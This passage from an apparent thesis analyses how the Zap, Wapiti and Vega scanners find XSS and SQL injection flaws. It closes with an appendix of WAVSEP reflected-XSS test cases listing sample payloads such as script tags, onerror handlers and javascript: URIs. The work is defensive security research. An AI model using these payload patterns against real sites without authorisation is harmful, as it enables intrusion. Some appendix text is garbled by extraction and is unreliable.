The approaches the scanners use to find the vulnerabilities will be discussed here. The source code will be read for all scanners and analysed together with the results to get an understanding of the differences between them. The approaches used to find XSS vulnerabilities will be analysed first, followed by the approaches used to find SQLi vulnerabilities. Lastly, a discussion about the scanners crawling ability will be brought forward as well.

Approaches to find XSS

Because there are three types of XSS attacks that are possible, all three approaches to find them will be analysed and discussed. When looking specifically at the ability to find reflected XSS vulnerabilities, it is clear that Zap is superior in that area. It could be seen in both table 4.1 and table 4.3 that Zap found many more vulnerabilities that the other ones did not. This was reoccurring in the results of several other benchmarks as well that was not added to the results. Both the analyser phase and the fuzzer phase with focus on reflected XSS will be looked at and analysed for each scanner to find out why this is. This will be followed by a discussions about persistent and DOM-based XSS as well.

The analyser phase of reflected XSS

Starting with the analyser phase, the source code and the results of each scanner were analysed with focus on XSS and how they determine if a vulnerability exists or not. It was found that when injecting data, both Zap and Wapiti always try to inject data that will result in an alert being executed, for example passing in `<script>alert("Hack")</script>` or any other of the many methods that exists to make an alert being executed. The reason for this being that if a XSS vulnerability exists, then it should be possible to execute an alert and it is easy for the user to manually pass in the same input and see if an alert pops up. Vega on
5.1. Results

the other hand does not try to execute an alert in any way, its approach consists of passing in the same sequence of characters, "--"></"", preceded by some arbitrary data. The goal of Vega is therefore not to actually execute any attack, but instead to just observe if any of these characters are reflected back to the browser because if so, an attack is possible.

With these two different approaches in mind to detect XSS vulnerabilities, there are certainly both advantages and disadvantages with both. With Vega, to just focus on some certain symbols surely is an easier method and often is enough when trying to detect XSS vulnerabilities. Of course, it could still be other characters that are blacklisted that prevent an attack from being successful which then might cause a false positive with Vega. However, it depends on how finicky you want to be because nevertheless, it is good practice to make sure that no such dangerous request will be reflected. Back to Zap and Wapiti, the approach they use is always to try and execute an alert command. The advantages with this approach, in comparison with the previous one, is that the user can easily recreate the request that the scanner made and get actual visible proof that the attack works by seeing an alert window pop up on the screen. However, that is not always the case. By looking closer at the results of Zap from table 4.1, about half of the attacks made did not in fact trigger an alert window to pop up when manually injecting the same data. This means that the scanners do not actually check if an alert is executed, they only observe the code in the response and answer if they believe that the code will be executed. If the alert window does not show up, it could both mean that it is a false positive, or simply that the injected code needs to be changed for the alert to actually execute. For example, with case 24 in table 4.1, the data passed in will be passed to the input variable as can be seen in the code below.

```html
<script> var orderId = input; </script>
```

Zap injected the code `javascript:alert(1)` and thought that it was enough, but for the code to actually execute, some additional value needs to be placed in front of the semicolon to first assign `orderId` a value. The injected code should therefore be `javascript:alert(1)` for the attack to work, something that Zap did not know. Either way, just as with Vega, even if it is a false positive it is good practice to make sure that those dangerous requests do not make it through. Even though these two approaches are different for the analyser phase, with either trying to execute an alert command or just passing in dangerous characters, it is not the source to what causes the diversity with the results.

The fuzzer phase of reflected XSS

Focusing on the fuzzer phase of the scanners, the results from table 4.1 will be analysed together with the source code to find out why they differ. Starting with Vega, it focuses on injecting its sequence of characters and the other scanners focus on injecting an alert command. However, depending on where the reflected value is placed in the code, different payloads can be added to the injection. The reflected value could be placed in a script tag, a text area tag, an image tag and anything in between. Therefore, scanners have several payloads ready to be added to the injection depending on where the reflected value ends up that will make the attack possible. For example, if the reflected value will be placed inside a text area tag, the complete injected data could be something like this: `<textarea><script>alert("Hack")</script><textarea>`, to make the script tag be outside of the text area tags. Vega only has one array in the source code with less than 20 different payloads. When looking at the two cases that Vega missed, in both cases the input would be added to the source inside of a frame tag, `<frame src=input>`. If the input is not a valid source, the frame will return a 404 error status message and will therefore not reflect any value injected. However, what can be done is to inject the code `javascript:` as a payload followed by the code to execute. It can be observed that Vega has this payload in the source code and yet does not find this vulnerability. After some investigation it could
be found that in all cases, both for WAVSEP and other benchmarks used, Vega always keeps the default value of the GET request before adding its own payload. For case 16, the default value in the GET request is dummy.html, so if a payload from Vega is added then the modified value will be dummy.html<payload> which is not a valid source and will return a 404 error. Therefore, using the javascript: payload will not help Vega find the vulnerability for these two cases.

When looking at the results of Wapiti it can be observed that Wapiti found the least number of vulnerabilities. When looking at the source code of Wapiti, one big file containing all its XSS payloads could be found. It looks similar to Zap, with all focus on trying to execute an alert as mentioned before. When looking at the vulnerabilities that Wapiti missed, it is all vulnerabilities when some characters are blacklisted. It could find all the others cases except for case 31, where the injected value was only reflected if an exception was made. Meaning that the payload needed to have some specific illegal characters together with its script passed in, which was something that Wapiti did not have. By looking closer at the payloads it could be observed that all of the payloads are surrounded by some kind of tag, such as a frame tag, image tag, script tag and so on. Wapiti does not have any payload that only consists of alert("Hack"); or javascript:alert("Hack") but instead have all payloads encapsulated by another tag such as <iframe src="javascript:alert("Hack");">"</iframe>. Therefore, the reason for why Wapiti does not find these is because for all the vulnerabilities that Wapiti finds, it always tries to close the previous tag before injecting the payload encapsulated by another tag. If the angle brackets are encoded then this prevents the attack from being successful. It can however be mentioned that the version of Wapiti that was used was version 3.0.3 on Kali Linux, but when looking at the source code of the newer version 3.0.4 from 2021, it can be observed that the payloads have been greatly updated, with one noticeable difference is the additional payload that only contains the value javascript:alert("XSS") without any surrounding tags. Therefore, it is a high possibility that Wapiti version 3.0.4 would find more vulnerabilities with these updates. This was however not tested for this thesis.

When looking at the results from table 4.3 it could be observed that all of the vulnerabilities missed by both Wapiti and Vega were missed because of the same reason as previously explained. To alert the vulnerability, the exact payload needed to be javascript:alert(1) and that exactly, which neither of them could inject. There were also some vulnerabilities that Zap did not find but the others did. The reason for that was however because of the crawler phase and will be discussed later on.

**Persistent XSS**

All three scanners have persistent XSS separate from reflected XSS, meaning that they do not just look for general XSS vulnerabilities, but for reflected and persistent XSS vulnerabilities separately. There were few cases where persistent XSS vulnerabilities were present in the benchmarks and if they were, there were no security mechanism used for them. Because of this, all three scanners found the same amount of persistent XSS vulnerabilities and were therefore not added to the results. It could however from the analysis of the source code be observed that the fuzzer phase was the same, using the same payloads. The only difference was in the analyser phase, that instead of just looking at the response from the server of the request sent, the injected data is looked for in all places of the application.

**DOM-based XSS**

One final remark is that Zap also found some DOM-based vulnerabilities which the other two scanners did not, this was however not added to the results of Mutillidae. That was not too surprising considering that both Wapiti and Vega only look for reflected and stored XSS
and have not implemented anything for DOM-based XSS. With this type being more unique compared with the other two, that only exist on modern web applications that use JavaScript to modify the DOM, it is something that it not included in most open source scanners. Even for Zap it is still only in beta version. It is however included in many commercial scanners. The few DOM-based vulnerabilities found by Zap were just the same vulnerabilities as it also alerted as reflected XSS vulnerabilities. Because Mutillidae does not actually use AJAX to modify the DOM so should Zap not alert any DOM-based XSS vulnerabilities as being detected. This means that they are all false positives but as it is still only in beta version it is understandable that it has its flaws and no further investigation was done about it.

Approaches to find SQLi

When looking specifically at the ability to find SQLi vulnerabilities, it could be seen that there were some differences between the scanners based on the results. Most noticeable is that, in contrast to XSS, Zap is the one that has the worst score. As before, both the analyser phase and the fuzzer phase to find SQLi vulnerabilities will be analysed for each scanner.

The analyser phase

When looking at the source code of the analyser phase, it could be found that the scanners use several techniques together to determine if an SQLi vulnerability exist or not. The techniques the scanners use are all known SQLi attacks described in the Theory. The attacks that all three scanners use are the logically incorrect query attack, the union query attack and the blind injection attack which can be seen in figure 2.2, 2.3 and 2.6 respectively. Both Wapiti and Vega also use the time-based injection attack, which can be seen in figure 2.7 which Zap does not use. However, it could be found on GitHub that Zap does have code to perform a time-based injection attack, but it is only in beta version and has not yet been implemented.

The reason for why these specifically are used is because the scanners only want to observe if an attack could be possible and nothing more, which is easiest done with these. They use the logical incorrect query attack to observe if an error message is returned and they use union query, time-based and blind injection attack to see if they manage to modify the query.

All scanners always start with the logical incorrect query attack, after that it was different from scanner to scanner on what techniques they will use afterwards. There were not any cases where Zap missed a vulnerability because of the absence of the time-based injection technique. Same as with XSS, the reasons for why some specific vulnerabilities were missed was largely based on the different predefined payload within the scanners.

The fuzzer phase

Starting with the logically incorrect query attack, the first noticeable thing found was that all scanners had a list of standard responses from known DBMS such as MySQL and PostgreSQL. Zap has a list of typical dangerous characters which are these excluding the square brackets: [ ' " ; '(' ) ( NULL ' "]. Zap injects these characters one at a time and Vega does the same but uses fewer characters. Wapiti on the other hand injects the same sequence of characters all at once which looks like this excluding the square brackets: [ å ¿ ' " () ( NULL ' "]. When looking at the cases six to nine in table 4.2 it could be noticed that both Vega and Wapiti found them all by detecting an error message. Zap on the other hand missed the last one and found the other ones with blind injection instead. When looking at the response from the server when performing a logical incorrect query attack, a MySQL error message could be seen. The exact response received looked like this:

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /owaspbwa/owaspbricks-svn/content-1/index.php on line 43 Database query failed: You have an
Wapiti found the error by looking for the string "check the manual that corresponds to your MySQL server version" and Vega found the error by looking for the string "You have an error in your SQL syntax", but Zap did not have any of these to look for.

This would therefore be the reason for why Zap did not find the last vulnerability compared to the others. Zap could find the first three cases with blind injection and bypass their security mechanism. However, when Base64 encryption was used on the input it completely changed the injected data. Zap did not have any payload that used Base64 decryption and could therefore not find the vulnerability with any approach. It could not detect the error message either which is what the other two scanners could. Another interesting thing found is that Vega actually found the error when injecting the payload made for XSS vulnerabilities, which means that it is constantly looking for SQL error messages even though it may inject data about something completely different.

When looking at the other techniques the scanners use, there are some differences in the list of payloads as well. For example, when looking at table 4.2 both Zap and Vega missed cases three and four while Wapiti found them. It has nothing to do with the different approaches used by the scanners as both Wapiti and Vega used time-based injection and Zap used blind injection, but instead about the security mechanisms the vulnerabilities have. Zap and Vega have a lot of different payloads that work with most cases of syntax to attack an SQL query, but a payload for a query where the input string is enclosed by both a parenthesis and an apostrophe/quotation mark is something that is not present among them. Of course, this type of syntax is not something that is typical which is probably why Vega and Zap do not bother to have any payload for it, but Wapiti does which is why it is best when scanning this application for SQLi vulnerabilities.

One final remark about the scanners approach to find SQLi is that when looking at the source code it can be found that both Zap and Vega always use two hyphens (--) when commenting out an SQL query while Wapiti has payloads that use both two hyphens or a hashtag (#). The reason for why Wapiti also includes a hashtag in its payloads is because it is one of the ways to comment out the query in MySQL. MySQL also support comments the other way but for it to work with two hyphens, the last hyphen must be followed by a white space. Therefore, both Zap and Vega always have the two hyphens followed by a white space for it to work in all cases and therefore do not have any need for a hashtag. As it is mentioned in a comment in the source code of Zap, various documentations suggest that this syntax works with almost every single relational DBMS considered by Zap.

It can also be seen in table 4.3 that Zap missed a SQLi vulnerability which the others found, this was however caused by the crawler not being able to find it and will be discussed below.

The crawler phase

For this section, the crawler phase of the scanners will be discussed as it is also one crucial part of finding the vulnerabilities. By looking at the first SQLi and XSS vulnerability in table 4.3, they were both possible from the same GET request and were found by both Wapiti and Vega but missed by Zap. The validation for the request were non-existing so no unique techniques where needed to find the vulnerability. What is good with Zap and its user interface is that all the HTTP GET and POST requests that are found are visible from the interface and because of it, it could be observed that Zap did not find that specific GET request. Meaning that the traditional crawler used by Zap did not find it but the crawler for the other two scanners did. Unfortunately, due to time constraints and the size of the source code, the exact differences between the crawlers that made Zap miss that specific request while the others did not was never investigated. Instead, what can be taken from this fact is that the crawler
5.2 Method

The last table is the result from the Security Shepherd application. Because it is a SPA that uses AJAX, it is not surprising that none of the scanners found any vulnerabilities, simply because they did not find any of the HTTP requests that were vulnerable in the first place. This was simply used as a proof of concept that the traditional spiders are not made for these designs, it could be seen that all scanners ran for a noticeably short duration before stopping due to no additional pages being found.

Summary

All three scanners have been evaluated and analysed on their approaches used to find SQLi and XSS vulnerabilities and show both similarities and differences. Much of the results is based on the specific payloads the scanners use to find the vulnerabilities. All scanners were ready with payloads for the most usual syntax of the code on the server, but a web application can really be structured in any way possible which makes it hard to find vulnerabilities even though they exist. To use too many different payloads for the smallest chance of it working will take much of the time if it scans a large application. There is no standardised list of payloads to use, which is why it was different from scanner to scanner. However, because finding the places where a vulnerability may exist is crucial, the crawler with the job to find them is of highest importance. Therefore, the possibility to traverse a web application manually through a proxy to find more URLs is desirable, as the crawler often cannot find all by itself.

5.2 Method

In this section, the method decided upon to perform this thesis is discussed and criticised.

Literature study

At the start of the project, a literature study was conducted which provided great insight within the area of interest, as well as what had been done in previous work within the same area. The requirements for the papers could have been improved, instead of just looking at the number of citations and how old the papers were. The criteria to have been published in esteemed journals or written by authors with previously apprised works could have been one of those requirements, something that was not focused on when collecting articles. Most papers reviewed were well-cited but there were some rather newly published papers that had few citations or were not cited at all. Because they were newly published papers, they were looked at nevertheless but were criticised on its sources. When searching for papers about XSS and SQLi, much of the same information was recurring across several papers along both new and more old ones, making the sources more reliable. The number of papers that
evaluated different scanners were many with different scanners and different benchmarks used, often ending up with different results which scanners that were the best. For many of these, the results could have been compared and criticised but the only thing of interest were the fact that the results were different from scanner to scanner, making this study valuable with analysing why. What scanners and benchmarks used were also of interest, as well as the approach for evaluating them, which in general were the same across the papers.

**Scanner analysis**

When evaluating and analysing the techniques scanners use, only three different scanners were used due to time constraints. They were researched on before being chosen to be of the best choice for this study, but to include even more from table 3.1 would be optimal and surely give a clearer result about how different scanners work.

Concerning the benchmarks used, there were a considerable large number of choices of what to use. Many studies before often used WAVSEP [54] or Mutillidae [37] among many others as benchmarks and looked like a good choice here as well. However, to use many different benchmarks were preferable and thus, the BWA was chosen as it contained many applications to be used and also because of the simplicity to implement it. However, there were some other known vulnerable applications that the BWA did not consist of that could have been useful to be scanned on as well, such as the OWASP Juice Shop [36] which is a more modern vulnerable application that uses AJAX. This was something that was ignored as the applications in BWA seemed to be enough. What benchmarks to focus on when analysing could be criticised as the approach made here was for all three scanners to scan 22 of the applications and based on the results achieved, choose the ones to analyse further on. What benchmarks to use could have been decided upon on beforehand, but in this case they were chosen based on the results made from them to make sure that the results are interesting to analyse.

Because the goal of this thesis was to analyse the actual techniques of the scanners, the choice to only focus on open source scanners were made where the source code was available to research. However, it could have been interesting to use commercial scanners as well just for the evaluation part to see how well the open source scanners compete with the commercial ones. This is something that was done for several previous studies and could have been interesting to be done here as well.

**5.3 The work in a wider context**

With a WVS being a strong tool to find potential vulnerabilities that are present within any web applications, it could be alarming if used with wrong intent. As companies and programmers use WVSs to find security holes to repair, it could just as easily be used by hackers to find security holes and take advantages of them. As these open source scanners are available for anyone to download, use and modify, the ability to improve the scanners could therefore just as well be great as is could be problematic. There is no one to stop these scanners or the knowledge about them from being used for evil.

With the possibility to still being able to improve WVSs, it could also cause the usage of them to rise. If large web applications are being scanned then they will run for a long time, draining energy as well as computer power to keep on running. First to find all pages connected to the website and then to inject all the different types of data for all different types of vulnerabilities in search for. By knowing that an efficient WVS exists, it could unintentionally cause programmers to write sloppy code with them thinking that it can be resolved later with the usage of these scanners. Also, if more vulnerabilities exist, if would most likely cause the users to want to run the scans several times to see which are resolved or not, cause more power consumption to be made.
In this chapter, the research questions presented in the beginning of the report will be answered. The chapter will end with possibilities for future work based on work done here.

6.1 Research questions

The three research questions stated in the beginning of the report will here be answered one at a time.

**How extensive are SQL injection and XSS attacks?**

SQLi and XSS attacks have been around for a long time and are still an issue today if not handled properly. With SQL still being a popular way to store data, it is reasonable that it still in on first place at OWASP top ten list of web application security risks. However, that list has not been updated since 2017 and could possibly change if updated today. Chances are however that injection attacks will stay on top of the list due to the severity of the attack. Most DBMS have built in ways such as parameterized queries to prevent SQLi attacks to be possible, but as a programmer you still need to program it correctly to use these built in techniques as to ignore them could be done just as easily. When looking at XSS attacks instead, it could be observed that its place in OWASP top ten list for 2017 was dropped to the seventh place compared with the first, third and fourth place it has been on in previous years. Reasons for that could certainly be due to the expansion of using frameworks when developing web applications and their built in security measurements to prevent XSS for being possible. Unlike with DBMS where the programmers need to make a choice to use the built in secure techniques, most famous frameworks prevent XSS attacks from being possible by default by making sure that every character is encoded. However, there are always other methods that can be used to perform a successful XSS attack which the frameworks do not prevent by default, or the programmer can choose to remove the built in security mechanisms for various reasons. There are still ways to miss a vulnerability from being present in a web application which is why XSS and SQLi both are critical issues in web application of today.
What approaches are there to detect and avoid SQL injections and XSS attacks?

In the literature study of this project, several ways were found to both prevent and detect these vulnerabilities. Concerning approaches to avoid the vulnerabilities from existing in the first place, the most important approach is to write secure code from the start and they ways to do that were for the most parts standardised. There are always different ways to do it depending on what type of language, framework and DBMS that is being used. However, in the end it always comes back to the same sets of rules that need to be followed when writing secure code which has been described in section 2.4. However, since mistakes are often made and it is difficult in practice to write secure code in every single place if the application is large, there exists an additional approach which is to use a web application firewall. Even though it does not ensure that all attacks will be prevented, it does add an extra layer of security by filtering every single input before it is even sent to the server which is useful for large companies with larger and several web applications.

When looking at approaches to detect SQLi and XSS vulnerabilities, unlike the methods to avoid them from existing in the first place, it is not as standardised here as the ways to do this are many and varied. One of the approaches is to use web vulnerability scanners that scans the client side of the application by finding all requests that it passes to the server and from there fuzzes the data in hope to make the server do unanticipated things. This is a black box technique where no knowledge about the server, the structure, the language, or anything else is needed. In this case, all that is needed is a starting point for the scanner to start on, a simple URL. There also exist many different WVSs to use, both commercial and open source that could use different approaches among themselves to find the vulnerabilities, all with different advantages and disadvantages. However, there also exist approaches that are the exact opposite which uses the white box technique, meaning that it does not focus on the client side or the user interface of the application but focuses only on the actual code. There are many tools available that use white box techniques as well. As both techniques come with their own perks and issues, to really get the most success in finding as many security risks as possible, the usage of both in some way or another would be optimal. Even though the implementation and usage of white box testing is unquestionably more difficult and resource heavy.

How do established detection techniques for web vulnerability scanners behave on relevant benchmarks concerning SQL injection and XSS and what are the limitations?

In this thesis, three different known open source web vulnerability scanners were evaluated and analysed based on their ability to detect SQLi and XSS vulnerabilities. Several known deliberate broken web applications were used as benchmarks for them to scan on. It could be remarked that the techniques used by these three, even though operated in similar ways, had several minor differences concerning what data to inject and what methods to use when declaring an attack as successful. All in all, the techniques used by the scanners based on what benchmarks it was used on behaved as expected after analysing the source code of them. If the vulnerabilities did not have any security mechanisms on the server side, then it would be easy for the scanners to detect them. This is of course only true if the crawler is good enough to find them in the first place. Also, if the vulnerabilities only used some simple filtering system on the server side then it often would be found by the scanners as well because they are packed with several unique payloads that would bypass most simple filtering systems. However, this is where the scanners differ from each other because it does not exist any standardised list of what payloads to use which is why it can differ from scanner to scanner. A request to a web application can be validated in any way possible which means that there could be a specific payload that would work but is too unique to ever being present among the scanners. This is when manual penetration testing would be better, to use trial and error
6.2. Future work

to find out how the filtering work on the server side based on the response. This is something that the scanners do not do, they always have a predefined list of different payloads which causes a limitation for them. To add more payloads would increase the chance of someone working but also increase the time and power it takes to test all the payloads. When detecting if a vulnerability exists, there were some differences between the scanners as well. To find SQLi some uses blind injection, some uses time-based injection, and some uses both. With XSS some wanted to a typical alert window to pop up while some other just wanted to see if specific characters are reflected or not. In whole, anyone of these approaches would work and do not cause any issues in comparison with each other, except the fact that time-based injection could take longer time and to cause an alert to pop up is better for the user to being able to confirm the attack by seeing the alert window. However, any web application could have some unconventional validation that could prevent a specific approach from working, this is why most scanners include all of the techniques and not just one of them.

6.2 Future work

For future work in this area, it would be interesting to analyse more active open source WVSs such as Nikto [32] or w3af [53] to observe if the approaches used by them are any different from the ones analysed here.

With the time constraints of this project limiting the possibility to dive into the source code and analysing why and how the traditional crawler differ from each other, it could be suggested as future work instead. It could also be interesting to analyse the AJAX spider Zap uses and how well it can handle modern web applications that the standard spider cannot. It would be interesting to also see how it compares to commercial WVSs that can handle modern web application as well, even though it will only be based on result because the source code is not publicly available to analyse.

Finally, based on the findings made from this project it should be possible to create a new or modify the code of an existing WVS. To combine the different payloads and techniques together used by individual scanners that would lead it to perform better on the tested benchmarks than any of the other scanner by themselves.


[27] Abhik Khandelwal. 7 Different Types of White Box testing techniques | White box Testing Tools. URL: https://testinggenez.com/types-of-white-box-testing-techniques (visited on 05/31/2021).


[33] Oracle VM VirtualBox. URL: https://www.virtualbox.org (visited on 06/03/2021).

[34] OWASP Broken Web Applications. URL: https://owasp.org/www-project-broken-web-applications/migrated_content (visited on 06/03/2021).


[37] OWASP Mutillidae II. URL: https://github.com/webpwnized/mutillidae (visited on 06/03/2021).

[38] OWASP Security Shepherd. URL: https://github.com/OWASP/SecurityShepherd (visited on 06/03/2021).


[40] PostgreSQL: The World’s Most Advanced Open Source Relational Database. URL: https://www.postgresql.org (visited on 06/03/2021).


[42] React. URL: https://reactjs.org (visited on 06/03/2021).


[52] Vue. URL: https://vuejs.org (visited on 06/03/2021).

[53] w3af. URL: http://w3af.org (visited on 06/03/2021).

[54] WAVSEP. URL: https://github.com/sectooladdict/wavsep (visited on 06/03/2021).


Appendix

All cases in WAVSEP for reflected XSS was added as a separate PDF and can be seen in section A.1.
A.1 All cases for reflected XSS in WAVSEP

**Case01-Tag2HtmlPageScope.jsp**
Injection of tags to the scope of the HTML page.

**Barriers:**
None

**Sample Exploit Structures:**

```html
<script>[exploit code]</script>
<input type="text" [dhtmlevent]="[code]">
<customtag style="width: expression([exploit code]);">

**Examples:**
Exploit: <script>document.title="Exploit";</script>
Silent Exploit: <img src="a" onerror="javascript:document.title=document.domain">
IE Custom Tag Exploit: <sectooladdict style="width: expression(document.title=document.domain);"/>
```

**Case02-Tag2TagScope.jsp**
Injection of tags to the scope of an HTML tag.

**Barriers:**
None

**Sample Exploit Structures:**

```html
</scope-tag><script>[exploit code]</script>
</scope-tag><input type="text" [dhtmlevent]="[code]">
</scope-tag><customtag style="width: expression([exploit code]);">

**Examples:**
Exploit: <textarea><script>document.title="Exploit";</script>
Silent Exploit: <textarea><img src="a" onerror="javascript:document.title=document.domain">
IE Custom Tag Exploit: <textarea><sectooladdict style="width: expression(document.title=document.domain);">
```

**Case03-Tag2TagStructure.jsp**
Injection of tags to the scope of an HTML tag.

**Barriers:**
None

**Sample Exploit Structures:**

```html
[SEMBL.]<script>[exploit code]</script>
[SEMBL.]<input type="text" [dhtmlevent]="[code]">
[SEMBL.]<customtag style="width: expression([exploit code]);">

**Examples:**
Exploit: ""><script>document.title="Exploit";</script>
Silent Exploit: ""><img src="a" onerror="javascript:document.title=document.domain">
IE Custom Tag Exploit: ""><sectooladdict style="width: expression(document.title=document.domain);">
```

**Case04-Tag2HtmlComment.jsp**
Injection of tags to the scope of an HTML comment.

**Barriers:**
None

**Sample Exploit Structures:**

```html
--><script>[exploit code]</script>
--><input type="text" [dhtmlevent]="[code]">
--><customtag style="width: expression([exploit code]);">

**Examples:**
Exploit: --><script>document.title="Exploit";</script>
Silent Exploit: --><img src="a" onerror="javascript:document.title=document.domain">
IE Custom Tag Exploit: --><sectooladdict style="width: expression(document.title=document.domain);">
```

**Case05-Tag2Frameset.jsp**
Injection of tags to the scope of an HTML comment.

None

**Sample Exploit Structures:**

```html
```

**Examples:**
Exploit: --><script>document.title="Exploit";</script>
Silent Exploit: --><img src="a" onerror="javascript:document.title=document.domain">
IE Custom Tag Exploit: --><sectooladdict style="width: expression(document.title=document.domain);"/>
Barriers:
None

Sample Exploit Structures:
"<frame name=frame3 id=frame3 src="javascript:[exploit code];
[javascript/VBScript]:[exploit code]; (within the src property)

Examples:
Exploit: "><frame name=frame3 id=frame3 src="javascript:alert('xss');
Silent Exploit: javascript:alert('xss');

Case06-Event2TagScope.jsp
Injection of events/properties to the scope of an HTML tag.

Barriers:
Partial HTML encoding (angle brackets)

Sample Exploit Structures:
[property delimiter ("/")][space][dhtml event]=[property delimiter ("/")][exploit code];
[property delimiter ("/")][space][code supporting property]=[property delimiter ("/")][javascript/vbscript]:
[exploit code];
[property delimiter ("/")][space][style]=[property delimiter ("/")]width: expression([exploit code]);

Examples:
Exploit: a" onMouseOver="document.title=document.domain;
Auto Executed Exploit: a" onerror="document.title=document.domain;
IE Style Exploit: a" style="width: expression(document.title=document.domain);

Case07-Event2DoubleQuotePropertyScope.jsp
Injection of events/properties to the scope of an HTML property (Double Quote Delimiter).

Barriers:
Partial HTML encoding (angle brackets)
Partial HTML encoding (single quote)

Sample Exploit Structures:
[double quote delimiter (")][space][dhtml event]=[double quote delimiter (")][exploit code];
[double quote delimiter (")][space][code supporting property]=[double quote delimiter (")]
[javascript/vbscript]:[exploit code];
[double quote delimiter (")][space][style]=[double quote delimiter (")][exploit code];

Examples:
Exploit: a" onMouseOver="document.title=document.domain;
Auto Executed Exploit: a" onerror="document.title=document.domain;
IE Style Exploit: a" style="width: expression(document.title=document.domain);

Case08-Event2SingleQuotePropertyScope.jsp
Injection of events/properties to the scope of an HTML property (Single Quote Delimiter).

Barriers:
Partial HTML encoding (angle brackets)
Partial HTML encoding (double quote)

Sample Exploit Structures:
[single quote delimiter (')][space][dhtml event]=[single quote delimiter (')][exploit code];
[single quote delimiter (')][space][code supporting property]=[single quote delimiter (')][javascript/vbscript]:
[exploit code];
[single quote delimiter (')][space][style]=[single quote delimiter (')][exploit code];

Examples:
Exploit: a’ onMouseOver=’document.title=document.domain;
Auto Executed Exploit: a’ onerror=’document.title=document.domain;
IE Style Exploit: a’ style=’width: expression(document.title=document.domain);

Case09-SrcProperty2TagStructure.jsp
Injection of src properties to the scope of an HTML tag.

Barriers:
Partial HTML encoding (angle brackets)
Partial HTML encoding (single quote)
Partial HTML encoding (double quote)
Sample Exploit Structures:
[value][space]src=[path to local or remote malicious JS file]
Examples:
LFI Exploit: value src=exploit.js

**Case10-Js2DoubleQuoteJsEventScope.jsp**
Injection of Javascript to the scope of an HTML/Javascript event (Double Quote Delimiter).

**Barriers:**
Partial HTML encoding (angle brackets)
Partial HTML encoding (double quote)

Sample Exploit Structures:
[syntax delimiters (']/}]/CrLf)/;)][javascript exploit code]
[syntax delimiters (']/}]/CrLf)/;)][javascript exploit code][comment (//)]

Examples:
Exploit: john'; document.title='exploit
Independent Exploit: john'; alert('xss');//

**Case11-Js2SingleQuoteJsEventScope.jsp**
Injection of Javascript to the scope of an HTML/Javascript event (Single Quote Delimiter).

**Barriers:**
Partial HTML encoding (angle brackets)
Partial HTML encoding (single quote)

Sample Exploit Structures:
[syntax delimiters (']/}]/CrLf)/;)][javascript exploit code]
[syntax delimiters (']/}]/CrLf)/;)][javascript exploit code][comment (//)]

Examples:
Exploit: john"; document.title="exploit
Independent Exploit: john"; alert("xss");//

**Case12-Js2JsEventScope.jsp**
Injection of Javascript to the scope of an HTML/Javascript event (Any Delimiter).

**Barriers:**
Partial HTML encoding (angle brackets)
Partial HTML encoding (double quote)
Partial HTML encoding (single quote)

Sample Exploit Structures:
[syntax delimiters (CrLf]/])/CrLf)/;)][javascript exploit code]
[syntax delimiters (CrLf]/])/CrLf)/;)][javascript exploit code][comment (//)]

Examples:
Exploit: 1234; alert(document.domain)
Independent Exploit: 1234; alert(document.domain);//

**Case13-Vbs2DoubleQuoteVbsEventScope.jsp**
Injection of VBScript to the scope of an HTML/VBScript event (Double Quote Delimiter).

**Barriers:**
Partial HTML encoding (angle brackets)
Partial HTML encoding (double quote)
Partial HTML encoding (single quote)

Sample Exploit Structures:
[syntax delimiters ('CrLf)/])/CrLf)/;)][VBScript exploit code]
[syntax delimiters ('CrLf)/])/CrLf)/;)][VBScript exploit code][CrLf][comment (Rem)]

Examples:
Exploit: John%0A%0D MsgBox 'xss
Independent Exploit: John%0A%0D MsgBox 'xss%0A%0DRem aa

**Case14-Vbs2SingleQuoteVbsEventScope.jsp**
Injection of VBScript to the scope of an HTML/VBScript event (Single Quote Delimiter).
Barriers:
Partial HTML encoding (angle brackets)
Partial HTML encoding (single quote)

Sample Exploit Structures:

\[["\text{syntax delimiters ("\text{CrLf}/"')}]][\text{VBScript exploit code}]\]
\[["\text{syntax delimiters ("\text{CrLf}/"')}]][\text{VBScript exploit code}][\text{CrLf}][\text{comment (Rem)}]\]

Examples:
Exploit: John"%0A%0D MsgBox "xss
Independent Exploit: John"%0A%0D MsgBox "xss"%0A%0DRem aa

**Case15-Vbs2VbsEventScope.jsp**
Injection of VBScript to the scope of an HTML/VBScript event (Any Delimiter).

Barriers:
Partial HTML encoding (angle brackets)
Partial HTML encoding (double quote)
Partial HTML encoding (single quote)

Sample Exploit Structures:

\[["\text{syntax delimiters ("\text{CrLf}/"')}]][\text{VBScript exploit code}]\]
\[["\text{syntax delimiters ("\text{CrLf}/"')}]][\text{VBScript exploit code}][\text{CrLf}][\text{comment (Rem)}]\]

Examples:
Exploit: 1234%0A%0D MsgBox Document.Domain
Independent Exploit: 1234%0A%0D MsgBox Document.Domain%0A%0DRem aa

**Case16-Js2ScriptSupportingProperty.jsp**
Injection of Javascript into the scope of a script supporting property.
(assume RFI/LFI cannot be used for the sample property)

Barriers:
Partial HTML encoding (angle brackets)
Partial HTML encoding (double quote)
Partial HTML encoding (single quote)

Simple RFI Signature Validation/Removal (http)

Sample Exploit Structures:

\[[\text{javascript/vscript}}]:[\text{exploit code}]\]
\[[\text{property-name}}]: \text{expression(}\text{exploit code}})\]

Examples:
Exploit: javascript:alert(document.domain);
Independent Exploit: javascript:alert(document.domain);

Examples for different scenarios:
IE Style Property Exploit: width: expression(alert(document.domain));

**Case17-Js2PropertyJsScopeDoubleQuoteDelimiter.jsp**
Injection of Javascript into the scope of javascript code within property (Double Quote String Delimiter).

Barriers:
Partial HTML encoding (angle brackets)
Partial HTML encoding (single quote)

Sample Exploit Structures:

\[[\text{value}}]:[\text{exploit code}]\]

Examples:
Exploit: david"; alert("exploit");//

**Case18-Js2PropertyJsScopeSingleQuoteDelimiter.jsp**
Injection of Javascript into the scope of javascript code within property (Single Quote String Delimiter).

Barriers:
Partial HTML encoding (angle brackets)
Partial HTML encoding (double quote)

Sample Exploit Structures:

\[[\text{value}}]:[\text{exploit code}]\]

Examples:
Exploit: david'; alert('exploit');//

47
**Case19-Js2PropertyJsScope.jsp**
Injection of Javascript into the scope of javascript code within property (No String Delimiter).
**Barriers:**
Partial HTML encoding (angle brackets)
Partial HTML encoding (double quote)
Partial HTML encoding (single quote)
**Sample Exploit Structures:**
[exploit code]
**Examples:**
Exploit: 1; alert(document.domain);

**Case20-Vbs2PropertyVbsScopeDoubleQuoteDelimiter.jsp**
Injection of VBScript into the scope of VBScript code within property (Double Quote String Delimiter).
**Barriers:**
